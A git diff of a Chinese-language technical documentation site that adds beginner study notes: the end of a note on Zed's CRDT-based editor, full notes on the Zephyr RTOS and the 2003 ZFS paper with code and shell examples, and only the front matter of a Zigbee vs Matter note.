+单机撤销栈假设「文档状态与 offset 一一对应」；多人环境下 offset 会因他人编辑漂移，因此 Zed 用 **operation id → undo 计数** 的映射判断片段是否可见。
+
+## 与 Atom / Electron 路线的分野
+
+Atom 曾用 JavaScript + Web 技术栈； shipped 版 buffer 甚至是「字符串行数组」。Zed 团队结论：**要在性能与协作上突破，需要重写而非修补**——
+
+- Rust 的所有权 + `Arc` 让 copy-on-write 结构「免费」多线程友好
+- 不捆绑 Chromium，内存与启动体积显著低于典型 Electron IDE
+- 协作协议与编辑器同代码库，减少「编辑器 + 外接 CRDT 服务」的缝隙
+
+## 学习路径建议
+
+1. 读 [How CRDTs make multiplayer text editing part of Zed's DNA](https://zed.dev/blog/crdts) —— 弄懂 insertion id、anchor、tombstone、Lamport（有动画，适合零基础）
+2. 读 [Rope & SumTree](https://zed.dev/blog/zed-decoded-rope-sumtree) —— 对照本文代码示例看真实 `Rope` API
+3. 读 [Text Coordinate Systems](https://zed.dev/blog/zed-decoded-text-coordinate-systems) —— 理解 `Point`、`Anchor`、`DisplayPoint` 为何共存
+4. 克隆 [zed-industries/zed](https://github.com/zed-industries/zed)，从 `crates/rope`、`crates/text`、`crates/editor` 开始跳读
+5. 与 [[tree-sitter-2018]]、[[language-server-protocol-spec]] 对照：语法本地、语义远程的分工
+
+## 常见误解
+
+| 误解 | 事实 |
+|------|------|
+| Zed 协作靠中心服务器强一致锁 | 各副本独立应用 ops，靠 CRDT 最终一致；网络层负责中继 |
+| Rope = 普通二叉树字符串 | Zed 的 Rope 是带多维 Summary 的 SumTree |
+| GPU UI 只为炫技 | 大量编辑器元素（字形、装饰）走 GPU 减轻 CPU 布局压力 |
+| 用 CRDT 一定很占内存 | 团队认为相对 Electron 基线，fragment 元数据开销可接受 |
+
+## 小结
+
+**Zed** 把「高性能原生编辑器」与「多人实时协作」绑在同一套 Rust 数据结构上：底层 **SumTree** 统一索引，**Rope** 承载可见文本与墓碑，**CRDT** 让跨洲编辑无需 OT 变换，**Anchor** 贯穿协作、高亮与 LSP，**GPUI** 负责 GPU 呈现。它不是「又一个插件式协作补丁」，而是从 Atom 的经验里选择 **start over** 的产物。
+
+若你来自 Web 编辑器世界（Monaco / CodeMirror），最值得带走的一条观念是：**先把文本建模成可并发、可快照、可交换操作的数学对象，UI 与网络只是往这个对象上挂视图**——这正是 Zed 把 multiplayer 写进 DNA 的方式。
diff --git a/src/content/docs/papers/zephyr-rtos-overview.md b/src/content/docs/papers/zephyr-rtos-overview.md
new file mode 100644
index 000000000..001872d50
--- /dev/null
+++ b/src/content/docs/papers/zephyr-rtos-overview.md
@@ -0,0 +1,310 @@
+---
+title: Zephyr Project — Linux Foundation RTOS 零基础学习笔记
+来源: https://docs.zephyrproject.org/latest/introduction/index.html
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一座**大型连锁便利店**，要在几百种不同户型（芯片、板卡）里同时开业：
+
+- 每家店的**电路走线**不同：UART 接在 A 引脚还是 B 引脚、LED 挂在哪条 GPIO 上——这是**硬件差异**。
+- 但**运营手册**希望统一：怎么排班（线程调度）、怎么传菜（队列）、怎么省电（电源管理）、怎么连 Wi-Fi / 蓝牙——这是**软件共性**。
+- **Zephyr** 就是 Linux Foundation 托管的这套「连锁运营系统」：一个开源 RTOS，用同一套内核 + 驱动模型 + 构建工具，覆盖从 2 KB 级传感器节点到带网络协议栈的智能手表。
+
+和「手机/服务器上的 Linux」的关系：Linux 擅长大内存、复杂文件系统；Zephyr 专攻**资源受限、硬实时、长生命周期**的嵌入式设备。官方定位是 complementary——工业现场里常见 **Zephyr 管实时控制环 + Linux 管数据面** 的组合。
+
+官方入口：[Introduction — Zephyr Project Documentation](https://docs.zephyrproject.org/latest/introduction/index.html)
+
+## 这篇文档在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 项目 | Zephyr Project — Linux Foundation 协作项目 |
+| 许可 | Apache 2.0（部分导入组件另有许可） |
+| 内核 | 小 footprint、可抢占、支持协作式/抢占式线程、可选时间片 |
+| 架构 | ARM Cortex-M/A/R、RISC-V、x86、Xtensa、ARC、MIPS 等 |
+| 板卡 | 1000+ 官方支持板型（持续增加） |
+| 构建 | CMake + Kconfig + Devicetree + **west** meta-tool |
+| 子系统 | 网络、蓝牙、USB、文件系统、日志、Shell、电源管理等模块化可选 |
+
+Zephyr 不是「只有一个内核的库」，而是**可裁剪的嵌入式发行版**：通过 Kconfig 关掉用不到的功能，通过 Devicetree 描述板级硬件，最终链接成单一镜像烧进 Flash。
+
+## 为什么值得学
+
+| 场景 | Zephyr 提供的价值 |
+|------|-------------------|
+| 跨芯片产品线 | 同一应用逻辑 + 不同 `.overlay` 换板 |
+| 蓝牙 Mesh / OpenThread / Wi-Fi 产品 | 内置协议栈与认证路径，减少自研 |
+| 安全与合规 | 用户态（userspace）、内存域、栈溢出检测；面向 CRA 等长周期维护需求 |
+| 团队已有 Linux 经验 | Kconfig、Devicetree、CMake 与内核生态一脉相承 |
+| 本地快速验证 | `native_sim` 在 Linux 上把 Zephyr 当普通进程跑，利于 CI |
+
+与 FreeRTOS 的常见对比：FreeRTOS 核心是调度器 + 同步原语；Zephyr 在此基础上提供**统一设备模型、west 多仓库管理、完整网络/蓝牙栈、Twister 测试框架**——更像「嵌入式 Linux 的轻量 cousin」，而不是「又一个迷你内核」。
+
+## 核心概念一：四件套（west / Kconfig / Devicetree / CMake）
+
+理解 Zephyr 开发，先记住四件事各管什么：
+
+```
+  应用源码 (src/main.c)
+        │
+        ▼
+  prj.conf ──────► Kconfig：开不开 BLE？栈大小？日志级别？
+        │
+  *.dts / *.overlay ► Devicetree：LED 在哪根 GPIO？SPI 时钟多少？
+        │
+  CMakeLists.txt ─► 告诉构建系统「这是个 Zephyr 应用」
+        │
+  west build -b <board>  ──► 拉 modules、调工具链、生成镜像
+```
+
+| 组件 | 职责 | 类比 |
+|------|------|------|
+| **west** | 多仓库 manifest、`west update`、`west build/flash` | 便利店总部的「供应链 + 开店 SOP」 |
+| **Kconfig** | 编译期功能开关，`prj.conf` 里 `CONFIG_*=y` | 菜单勾选：要不要外卖（网络）、要不要 24h 冷库（文件系统） |
+| **Devicetree** | 硬件拓扑与引脚，生成 `devicetree_generated.h` | 每家店的平面图，不写在 C 里硬编码 |
+| **CMake** | 生成 Ninja/Makefile，调用 Zephyr 样板代码 | 施工总包 |
+
+**关键分工**：Kconfig 回答「软件能力要不要编进来」；Devicetree 回答「这块板上硬件长什么样」。新人最常犯的错是把引脚号写死在 `main.c`——Zephyr 风格是用 `DT_ALIAS(led0)` 等宏从树里取。
+
+## 核心概念二：线程与调度
+
+Zephyr 里可调度单元叫 **thread（线程）**。内核提供：
+
+- **协作式**与**抢占式**线程（`CONFIG_PREEMPT_ENABLED` 等控制）
+- 基于优先级的就绪队列（多种实现：简单链表、红黑树、多队列，见 `CONFIG_SCHED_*`）
+- 同优先级可选**时间片**轮转
+- `k_sleep()` / `k_msleep()` 阻塞时让出 CPU
+- 扩展调度：EDF（最早截止时间优先）、Meta IRQ（类似 Linux 的 bottom half）
+
+线程状态（简化）：
+
+```
+              ┌──────────┐
+    就绪 ────►│ Running  │◄──── 抢占 / 唤醒
+              └────┬─────┘
+                   │ k_sleep / k_sem_take / k_fifo_get ...
+                   ▼
+              ┌──────────┐
+              │ Pending  │  （等待事件，不占 CPU）
+              └──────────┘
+```
+
+数字**越小优先级越高**（与 FreeRTOS 部分端口「数大优先」相反，写代码时务必查板级文档）。
+
+创建线程两种方式：
+
+1. **运行时** `k_thread_create()` — 灵活，需自管栈数组
+2. **编译期** `K_THREAD_DEFINE()` — 静态分配栈与 `k_thread` 控制块，示例与测试里极常见
+
+## 核心概念三：同步与数据传递
+
+内核提供与经典 RTOS 对应的抽象（详见 [Kernel Services](https://docs.zephyrproject.org/latest/kernel/services/)）：
+
+| 对象 | 典型用途 |
+|------|----------|
+| `k_sem` | 二进制/计数信号量，任务与 ISR 同步 |
+| `k_mutex` | 互斥访问共享外设或数据结构 |
+| `k_fifo` / `k_lifo` | 指针队列，常用于线程间传递「堆上消息块」 |
+| `k_msgq` | 定长消息拷贝进环形缓冲 |
+| `k_work` / `k_work_queue` | 把耗时逻辑从 ISR 推迟到线程上下文 |
+
+ISR 里应使用 `k_*_give` 等 **ISR-safe** 变体，并注意部分 API 会要求检查返回值是否需要立即 `k_yield()`。
+
+## 核心概念四：设备模型与 Devicetree
+
+驱动通过 **devicetree 绑定** 与硬件节点关联。应用侧推荐模式：
+
+```c
+#define LED0_NODE DT_ALIAS(led0)
+static const struct gpio_dt_spec led = GPIO_DT_SPEC_GET(LED0_NODE, gpios);
+
+if (!gpio_is_ready_dt(&led)) { /* 处理未就绪 */ }
+gpio_pin_configure_dt(&led, GPIO_OUTPUT);
+gpio_pin_set_dt(&led, 1);
+```
+
+`gpio_dt_spec` 把 port、pin、flags 打包；换板时只改 DTS，**应用 C 代码可不变**。这与 Linux 的 `struct gpio_desc` 哲学一致，是 Zephyr 可移植性的核心。
+
+## 代码示例一：Blinky（最小应用 + 配置）
+
+官方 [Getting Started](https://docs.zephyrproject.org/latest/develop/getting_started/index.html) 推荐第一个 sample 是 `samples/basic/blinky`。典型 `prj.conf` 几乎为空（默认即可）；`main.c` 核心逻辑如下（摘自上游 sample 结构，省略版权头）：
+
+```c
+#include <zephyr/kernel.h>
+#include <zephyr/drivers/gpio.h>
+
+#define SLEEP_TIME_MS 500
+
+#define LED0_NODE DT_ALIAS(led0)
+static const struct gpio_dt_spec led = GPIO_DT_SPEC_GET(LED0_NODE, gpios);
+
+int main(void)
+{
+	int ret;
+	bool led_state = true;
+
+	if (!gpio_is_ready_dt(&led)) {
+		return 0;
+	}
+
+	ret = gpio_pin_configure_dt(&led, GPIO_OUTPUT_ACTIVE);
+	if (ret < 0) {
+		return 0;
+	}
+
+	while (1) {
+		ret = gpio_pin_toggle_dt(&led);
+		if (ret < 0) {
+			return 0;
+		}
+		led_state = !led_state;
+		k_msleep(SLEEP_TIME_MS);
+	}
+	return 0;
+}
+```
+
+构建与烧录（将 `<board>` 换成 `west boards` 列出的名字，如 `nrf52840dk/nrf52840`）：
+
+```bash
+cd ~/zephyrproject/zephyr
+west build -p always -b <board> samples/basic/blinky
+west flash
+```
+
+要点：`main()` 里 `k_msleep()` 阻塞当前线程（此处仅 main 一线程），定时器由内核 tick 或 tickless 模式驱动；LED 引脚来自 `DT_ALIAS(led0)`，不是 `GPIO_PIN(13)` 这种硬编码。
+
+## 代码示例二：多线程 + FIFO（官方 threads sample）
+
+`samples/basic/threads` 演示 `K_THREAD_DEFINE` 与 `k_fifo`：两个线程以不同周期闪灯，第三个线程从 FIFO 取消息并 `printk` 到控制台。精简版如下：
+
+```c
+#include <zephyr/kernel.h>
+#include <zephyr/drivers/gpio.h>
+#include <zephyr/sys/printk.h>
+
+#define STACKSIZE 1024
+#define PRIORITY 7
+
+#define LED0_NODE DT_ALIAS(led0)
+#define LED1_NODE DT_ALIAS(led1)
+
+struct printk_data_t {
+	void *fifo_reserved;  /* k_fifo 要求首字段 */
+	uint32_t led;
+	uint32_t cnt;
+};
+
+K_FIFO_DEFINE(printk_fifo);
+
+static void blink(const struct gpio_dt_spec *spec, uint32_t sleep_ms, uint32_t id)
+{
+	int cnt = 0;
+
+	gpio_pin_configure_dt(spec, GPIO_OUTPUT);
+
+	while (1) {
+		gpio_pin_toggle_dt(spec);
+
+		struct printk_data_t *tx = k_malloc(sizeof(*tx));
+		tx->led = id;
+		tx->cnt = cnt++;
+		k_fifo_put(&printk_fifo, tx);
+
+		k_msleep(sleep_ms);
+	}
+}
+
+static void blink0(void) { blink(GPIO_DT_SPEC_GET(LED0_NODE, gpios), 100, 0); }
+static void blink1(void) { blink(GPIO_DT_SPEC_GET(LED1_NODE, gpios), 1000, 1); }
+
+static void uart_out(void)
+{
+	while (1) {
+		struct printk_data_t *rx = k_fifo_get(&printk_fifo, K_FOREVER);
+		printk("Toggled led%u; counter=%u\n", rx->led, rx->cnt);
+		k_free(rx);
+	}
+}
+
+K_THREAD_DEFINE(blink0_id, STACKSIZE, blink0, NULL, NULL, NULL, PRIORITY, 0, 0);
+K_THREAD_DEFINE(blink1_id, STACKSIZE, blink1, NULL, NULL, NULL, PRIORITY, 0, 0);
+K_THREAD_DEFINE(uart_out_id, STACKSIZE, uart_out, NULL, NULL, NULL, PRIORITY, 0, 0);
+```
+
+读这段代码时对照三件事：
+
+1. **三线程并发**：闪灯循环互不阻塞，靠调度器切换。
+2. **FIFO 传指针**：生产者 `k_malloc` + `k_fifo_put`，消费者 `k_free`——典型「多生产者单消费者」日志模式。
+3. **编译期建线程**：`K_THREAD_DEFINE` 省去手动 `k_thread_create` 与栈数组声明。
+
+## 从零到跑通：环境骨架
+
+官方推荐路径（Ubuntu/macOS/Windows 类似，依赖 CMake ≥ 3.20、Python ≥ 3.12、west ≥ 1.4）：
+
+```bash
+python3 -m venv ~/zephyrproject/.venv
+source ~/zephyrproject/.venv/bin/activate
+pip install west
+west init ~/zephyrproject
+cd ~/zephyrproject && west update
+west zephyr-export
+west packages pip --install
+cd zephyr && west sdk install
+```
+
+之后每个应用目录执行 `west build -b <board> [-p always]`，`west flash` 烧录。无板子时可用 `native_sim` 在主机上跑部分子系统，适合单元级逻辑验证。
+
+## 子系统一览（按需启用）
+
+官方 Introduction 把 **subsystem** 定义为内核之上、可模块化裁剪的功能块，例如：
+
+| 子系统 | 能力摘要 |
+|--------|----------|
+| 网络 | 原生 IPv4/IPv6 栈、BSD socket API、MQTT/CoAP/LwM2M |
+| 蓝牙 | BLE 5.x Host + Controller、Mesh |
+| OpenThread | 802.15.4 Thread 协议（多 Nordic 方案） |
+| USB | Device 类：CDC、MSC、HID、DFU 等 |
+| 文件系统 | LittleFS、FatFs、ext2 等通过 VFS 挂载 |
+| 日志 | 多 backend、运行时过滤、与 Shell 集成 |
+| 电源管理 | 系统级 tickless + 设备级 PM 回调 |
+
+全部通过 Kconfig 打开，避免「为了用一个 GPIO 拖进整个 TCP 栈」——但若你的产品本来就要联网，Zephyr 的优势正是**这些栈与内核在同一仓库体系里一起测过**。
+
+## 安全与内存保护（建立正确预期）
+
+Zephyr 在具备 MPU/MMU 的架构上支持：
+
+- 栈溢出检测（`CONFIG_STACK_SENTINEL` 等）
+- **Userspace**：线程分用户态/内核态，系统调用边界
+- **Memory domains**：一组线程共享可访问的内存区域
+
+资源极度紧张的 MCU 可能退化为**单地址空间镜像**：应用与内核链接在一起，靠静态分配与审查保证安全——读文档时要分清「你的板子属于哪一档」。
+
+## 与 FreeRTOS / 裸机对照表
+
+| 话题 | 裸机 `while(1)` | FreeRTOS | Zephyr |
+|------|-----------------|----------|--------|
+| 并发单元 | 标志位 + 状态机 | Task | Thread |
+| 硬件描述 | 头文件宏 | 多为移植层硬编码 | Devicetree |
+| 功能裁剪 | 手动 `#ifdef` | `FreeRTOSConfig.h` | Kconfig + `prj.conf` |
+| 多仓库依赖 | 手动拷贝 | 各厂商 SDK | west manifest |
+| 协议栈 | 第三方拼凑 | 常外接 | 主线集成 |
+
+## 学习路径建议
+
+1. **跑通 Blinky + Hello World** — 熟悉 `west build/flash` 与板名。
+2. **读 `samples/basic/threads`** — 理解 `K_THREAD_DEFINE` 与 FIFO。
+3. **改 Devicetree overlay** — 给自定义板加一节 I2C 传感器节点，用 `device_is_ready()` 探测。
+4. **写一个 `prj.conf`** — 打开 `CONFIG_LOG`、`CONFIG_SHELL`，体验运行时调试。
+5. **查 [Kernel Services](https://docs.zephyrproject.org/latest/kernel/services/)** — 按项目需要深入 mutex、msgq、work queue。
+6. **社区** — [Discord](https://chat.zephyrproject.org)、users@lists.zephyrproject.org；提问时贴完整命令与文本日志，而非截图。
+
+## 小结
+
+Zephyr Project 是 Linux Foundation 下的**开源、可裁剪、跨架构 RTOS 生态**：小内核负责调度与同步，Devicetree 描述硬件，Kconfig 裁剪功能，west 管理源码与工具链，之上叠加网络、蓝牙、USB 等子系统。零基础上手的关键不是背 API，而是接受「**硬件在 DTS，配置在 prj.conf，构建交给 west**」的分工；在此基础上，`K_THREAD_DEFINE` + 设备 API 足以写出与板卡解耦的多线程固件。官方 [Introduction](https://docs.zephyrproject.org/latest/introduction/index.html) 与 [Getting Started Guide](https://docs.zephyrproject.org/latest/develop/getting_started/index.html) 是持续更新的主索引，版本号随季度 release（如 4.x）演进，实践时以你 `west update` 检出的文档为准。
diff --git a/src/content/docs/papers/zfs-bonwick-2003.md b/src/content/docs/papers/zfs-bonwick-2003.md
new file mode 100644
index 000000000..42a765756
--- /dev/null
+++ b/src/content/docs/papers/zfs-bonwick-2003.md
@@ -0,0 +1,298 @@
+---
+title: ZFS — 不信任硬盘的「水池式」文件系统
+来源: https://www.cs.hmc.edu/~rhodes/courses/cs134/papers/zfs.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你经营一家**大型自助仓储公司**（这就是 ZFS 管磁盘的方式）：
+
+- 以前的做法：每块硬盘像一间独立仓库，要先租房间、再贴门牌、再登记账本——分区、格式化、挂载，三步缺一不可。
+- ZFS 的做法：把所有硬盘倒进一个**大水池**（storage pool），客户（应用）只问「我要 10GB 放照片」，系统从池里划一块就行，不用关心水来自哪根管子。
+
+更关键的是，这家仓储公司有一条铁律：**绝不相信仓库管理员（硬盘）口头汇报**。每件货物入库时当场称重贴条码（校验和），出库时再称一次；对不上就从备用副本里捞真货。Jeff Bonwick 等人在 2003 年 USENIX FAST 论文《The Zettabyte File System》里，把这套哲学写进了文件系统本体。
+
+论文作者：Matt Ahrens、Jeff Bonwick、Val Henson、Mark Maybee、Mark Shellenbaum（Sun Microsystems）。2005 年随 OpenSolaris 开源，今天由 OpenZFS 社区维护，跑在 FreeBSD、Linux、macOS（间接通过 APFS 思想）和无数 NAS 上。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 会议 | 1st USENIX Conference on File and Storage Technologies (FAST)，2003 年 3 月，旧金山 |
+| 机构 | Sun Microsystems |
+| 命名由来 | Zettabyte = 10²¹ 字节；论文用 128 位地址空间，容量远超当时任何现实需求 |
+| 口号 | "The Last Word in File Systems" — 把卷管理、RAID、快照、校验合成一层 |
+
+论文要回答的核心问题：
+
+1. 当磁盘以 PB 计、廉价 SATA 盘静默坏块频发时，**文件系统还能假设「读到的就是写下的」吗？**
+2. 能否**消灭 fsck**——让磁盘上的状态在任何时刻都自洽？
+3. 能否把「分区 / 卷 / RAID / 文件系统」四层管理**压成一层 API**？
+
+## 为什么值得读（零基础也能建立图景）
+
+即使你从未装过 TrueNAS，这篇 2003 年的论文也能帮你理解今天存储栈里反复出现的模式：
+
+- **APFS**（macOS）的快照、**Btrfs**（Linux）的子卷、**Docker** 的分层镜像——都能追溯到 ZFS 的写时复制（Copy-on-Write）。
+- 云厂商强调的「端到端数据完整性」——ZFS 第一个把**每块数据的校验和**放进文件系统，而不是交给 RAID 卡或应用层。
+- 「静默数据损坏」（silent data corruption / bit rot）成为运维术语——因为 ZFS 的 `zpool scrub` 让大家第一次**量**到了硬盘在撒谎。
+
+## 核心概念一：池化存储（Pooled Storage）
+
+传统路径：
+
+```
+磁盘 → 分区 → 卷（LVM）→ mkfs → mount → 目录
+```
+
+ZFS 路径：
+
+```
+磁盘 → zpool create → zfs create → 直接用
+```
+
+**日常类比**：传统方式像给每个应用单独买饮水机；ZFS 像整栋楼一根总水管，各户按流量计費。加硬盘 = 往水池注水，不必重新分区搬家。
+
+论文强调：池化对存储的意义，类似虚拟内存对 RAM 的意义——应用不再绑定物理设备，管理员在池层面做冗余和扩容。
+
+## 核心概念二：写时复制（Copy-on-Write）
+
+ZFS 三条铁律（论文原文精神）：
+
+1. **永不覆盖仍在使用的数据块**
+2. **所有变更事务化**——相关元数据要么一起提交，要么一起回滚
+3. **磁盘上任意时刻的状态都有效**——没有「写了一半」的窗口
+
+写一个新版本的四步（论文 Figure）：
+
+```
+1. 初始块树          2. COW 数据块
+        [root]              [root]
+         / \                 / \
+      [A] [B]             [A][B'][B]
+3. COW 间接块         4. 原子重写 uberblock
+     [root']              [root'']
+      /  \                  /  \
+   [A][B']            [A][B']
+```
+
+旧块 `[B]` 仍留在盘上，直到没有引用——**快照因此几乎零成本**：快照只是多一个指向旧树根的指针，不复制数据。
+
+**对比日志文件系统（journaling）**：ext4 先写日志再写原位；ZFS 根本不原位写，所以**不需要单独 journal**。论文作者说，早期有人断言「不可能做出不需要 fsck 的文件系统」——这反而成了动力。
+
+## 核心概念三：端到端校验和（Checksum Tree）
+
+传统磁盘校验的问题：
+
+| 方式 | 校验和存在哪 | 能发现什么 | 发现不了什么 |
+|------|-------------|-----------|-------------|
+| 磁盘块内自带 CRC | 和数据同一块 | 块内自洽 | phantom write、指错块 |
+| **ZFS 父块指针** | 父块的 pointer 里 | 数据与地址均被验证 | — |
+
+ZFS 把每个子块的 256-bit 校验和存在**父块**里，整棵树形成自验证的 **Merkle 树**。根叫 **uberblock**，原子切换。
+
+论文列举可检测的故障路径：
+
+- 位衰减（bit rot）
+- 幽灵写（phantom writes）
+- 读写指向错误 LBA（misdirected I/O）
+- DMA 奇偶错误
+- 驱动 bug
+- 误覆盖
+
+读路径：**先验 checksum，再信数据**。对不上就查镜像或 RAID-Z 副本——**自愈（self-healing）**在读取时自动完成，不必等管理员周末跑 fsck。
+
+## 核心概念四：RAID-Z
+
+传统 RAID-5 的「写洞」（write hole）：条带写到一半断电，数据与校验不一致，且无法判断哪块是旧的。
+
+ZFS 的 RAID-Z 解法：
+
+- **每个逻辑块是独立条带**——可变条带宽度（512 B – 128 KB）
+- **每次写都是完整条带写**（full-stripe write）——配合 COW，没有 read-modify-write
+- **校验和驱动的组合重建**——丢块时穷举候选，用 checksum 验证哪个组合正确
+
+论文还提到单 parity 与双 parity（后来发展为 RAID-Z2/Z3）。口号：**ZFS loves cheap disks**——用软件栈集成替代昂贵 RAID 卡，因为完整性不依赖硬件声称的「可靠」。
+
+## 核心概念五：快照、克隆与 Scrub
+
+| 特性 | 机制 | 日常类比 |
+|------|------|----------|
+| **快照** | 保留旧块树根指针 | 给仓库拍一张库存清单，不复制货物 |
+| **克隆** | 可写快照 | 从清单分叉出一个可改动的分仓 |
+| **Scrub** | 后台遍历全池读+验 checksum | 盘点员每月走一圈，发现霉变立刻换副本 |
+| **Resilver** | 换盘后只同步有效数据 | 新保安上岗只学「还在架上的货」，不复印历史垃圾 |
+
+## 代码示例一：从零建池到快照回滚
+
+以下命令在 FreeBSD / Linux（OpenZFS）上通用，展示论文「池化 + COW 快照」的用户态接口：
+
+```bash
+# 三块盘组成 RAID-Z 池（单盘奇偶，类似 RAID-5 但无写洞）
+sudo zpool create -f tank raidz /dev/sda /dev/sdb /dev/sdc
+
+# 在池上创建文件系统——无需 mkfs，空间按需增长
+sudo zfs create tank/home
+sudo zfs create tank/home/alice
+
+# 写入一些数据
+echo "important thesis draft" | sudo tee /tank/home/alice/thesis.txt
+
+# 瞬间快照：不复制数据，只多一个块树引用
+sudo zfs snapshot tank/home/alice@before-edit
+
+# 模拟误删
+sudo rm /tank/home/alice/thesis.txt
+
+# 回滚到快照——COW 让旧块仍在
+sudo zfs rollback tank/home/alice@before-edit
+cat /tank/home/alice/thesis.txt   # 文件回来了
+
+# 查看空间：快照只占「与当前版本的差异」
+zfs list -t snapshot
+```
+
+`zfs snapshot` 在论文模型里对应「冻结一棵块指针树的根」；`rollback` 则是把活跃根指针指回旧 uberblock  lineage。
+
+## 代码示例二：用 Python 模拟 COW 块树与校验
+
+下面不是 ZFS 源码，而是帮助理解论文 Figure「四步 COW 提交」的极简模型：
+
+```python
+import hashlib
+from dataclasses import dataclass, field
+from typing import Dict, Optional
+
+def checksum(data: bytes) -> str:
+    return hashlib.sha256(data).hexdigest()
+
+@dataclass
+class Block:
+    data: bytes
+    children: Dict[str, "Block"] = field(default_factory=dict)
+    child_csums: Dict[str, str] = field(default_factory=dict)
+
+    def verify_children(self) -> bool:
+        for name, child in self.children.items():
+            expected = self.child_csums.get(name)
+            actual = checksum(child.data)
+            if expected != actual:
+                return False
+        return True
+
+def cow_update(root: Block, path: str, new_data: bytes) -> Block:
+    """沿路径复制节点，叶子写入新数据——永不原地覆盖。"""
+    if "/" not in path:
+        new_root = Block(data=root.data, children=dict(root.children),
+                         child_csums=dict(root.child_csums))
+        new_leaf = Block(data=new_data)
+        new_root.children[path] = new_leaf
+        new_root.child_csums[path] = checksum(new_data)
+        return new_root
+    head, tail = path.split("/", 1)
+    new_root = Block(data=root.data, children=dict(root.children),
+                     child_csums=dict(root.child_csums))
+    new_root.children[head] = cow_update(root.children[head], tail, new_data)
+    new_root.child_csums[head] = checksum(new_root.children[head].data)
+    return new_root
+
+# 初始树：root -> docs -> file
+leaf = Block(data=b"version-1")
+mid = Block(data=b"inode", children={"file": leaf},
+            child_csums={"file": checksum(leaf.data)})
+root = Block(data=b"uber", children={"docs": mid},
+             child_csums={"docs": checksum(mid.data)})
+
+# COW 写入 version-2；root' 指向新叶子，旧叶子仍可被快照引用
+root_v2 = cow_update(root, "docs/file", b"version-2")
+assert root_v2.verify_children()
+assert root.children["docs"].children["file"].data == b"version-1"  # 旧数据仍在
+```
+
+真实 ZFS 用 **uberblock 指针的原子 128-bit 切换**提交新根；上面省略了间接块层级和事务组（TXG），但抓住了论文核心：**改数据 = 建新树 + 换根，旧树自然成为历史**。
+
+## 代码示例三：Scrub 与自愈（运维侧）
+
+```bash
+# 每月巡检：读遍池中每个块并验证 checksum
+sudo zpool scrub tank
+
+# 查看是否发现静默错误并已修复
+sudo zpool status -v tank
+# 典型输出片段：
+#   scan: scrub repaired 8K in 02:15:00 with 0 errors on Sun Jun  1 03:00:00 2026
+
+# 压缩与去重（论文后续版本扩展；生产环境 dedup 吃内存需谨慎）
+sudo zfs set compression=lz4 tank/home
+```
+
+`scrub repaired` 一行正是论文「读取时自愈」的用户可见证据：镜像或 RAID-Z 副本提供了好块，坏块被透明替换。
+
+## 性能设计（论文简述）
+
+COW 听起来像「随机写变慢」，但 ZFS 用几招抵消：
+
+- 随机写**聚合成顺序写**（新块追加分配）
+- **动态条带化**横跨池内所有磁盘
+- 可变块大小（512 B – 128 KB）匹配负载
+- 流水线化 I/O 与优先级调度
+
+论文测量显示，在典型企业负载下，集成栈的吞吐量可与传统 UFS + 硬件 RAID 竞争——代价是 RAM 用于 ARC 缓存和元数据。
+
+## 踩过的坑（读论文时该知道的现实）
+
+1. **内存**：ARC 缓存默认可占用大量 RAM；`zfs set dedup=on` 更凶，家用 NAS 常关闭 dedup。
+2. **扩容语义**：早年不能给现有 RAID-Z vdev「加一块盘」；需加新 vdev 或整池重建（OpenZFS 近年才补齐部分 expansion 能力）。
+3. **许可**：CDDL 与 Linux GPL 不兼容，ZFS 至今非 Linux 主线模块——这是 Btrfs 存在的政治原因，不是技术原因。
+4. **小随机写延迟**：数据库单文件极致 IOPS 场景，有人仍选 XFS/ext4 + 硬件 RAID。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 多盘 NAS、备份服务器、虚拟机存储（快照/克隆）
+- 不能接受静默坏块的生产数据（配合 scrub）
+- 需要「一条命令」管冗余 + 文件系统
+
+**不适用**：
+
+- 单盘嵌入式、RAM 极度受限
+- 必须在 Linux 主线内核内零模块部署
+- 纯顺序写带宽竞赛且不需快照
+
+## 历史坐标
+
+- **1991** [[lfs-1991]]：日志结构文件系统提出「顺序写、垃圾回收」——ZFS COW 的精神前辈
+- **2003**：本篇论文，FAST 首届
+- **2007**：Btrfs 启动，设计明显参考 ZFS
+- **2017**：Apple APFS 发布，COW + 快照成为桌面默认
+- **今天**：OpenZFS 2.x 统一 FreeBSD/Linux 分支
+
+## 学到什么
+
+1. **不信任硬件**是文件系统级的设计选择，不是运维口号——校验和必须在**离开 CPU 之前**就算好。
+2. **COW + 事务 uberblock** 同时消灭了 fsck 窗口和廉价快照，这是同一枚硬币的两面。
+3. **集成栈**（FS + 卷 + RAID 一体）让 RAID-Z 能做传统 RAID-5 做不到的全条带写——分层接口会锁住次优解。
+4. 好技术 + 错误许可时机 = 别人抄思路抄市场；读论文也要读**生态**。
+
+## 延伸阅读
+
+- 论文 PDF：[The Zettabyte File System (Bonwick et al., FAST 2003)](https://www.cs.hmc.edu/~rhodes/courses/cs134/papers/zfs.pdf)
+- USENIX 会议页：[FAST '03 ZFS](https://www.usenix.org/conference/fast-03/zettabyte-file-system)
+- OpenZFS 文档：[https://openzfs.github.io/openzfs-docs/](https://openzfs.github.io/openzfs-docs/)
+- Bonwick & Moore 访谈（设计原则原文）：[Conversation on ZFS](https://www.xigmanas.com/wiki/lib/exe/fetch.php?media=faq%3Aconversation_bonwick_moore.pdf)
+
+## 关联
+
+- [[zfs-2003]] —— 同主题姊妹笔记（侧重运维命令与踩坑）
+- [[lfs-1991]] —— 日志结构文件系统，COW 的思想先驱
+- [[gfs]] —— Google 在分布式侧用另一条路解决完整性
+- [[hdfs-2010]] —— 块校验放在分布式文件系统层
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/zigbee-vs-matter-thread-2026.md b/src/content/docs/papers/zigbee-vs-matter-thread-2026.md
new file mode 100644
index 000000000..468ae5b6e
--- /dev/null
+++ b/src/content/docs/papers/zigbee-vs-matter-thread-2026.md
@@ -0,0 +1,268 @@
+---
+title: Zigbee vs. Matter over Thread — 智能家居协议性能的实测权衡
+来源: https://arxiv.org/abs/2603.04221
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
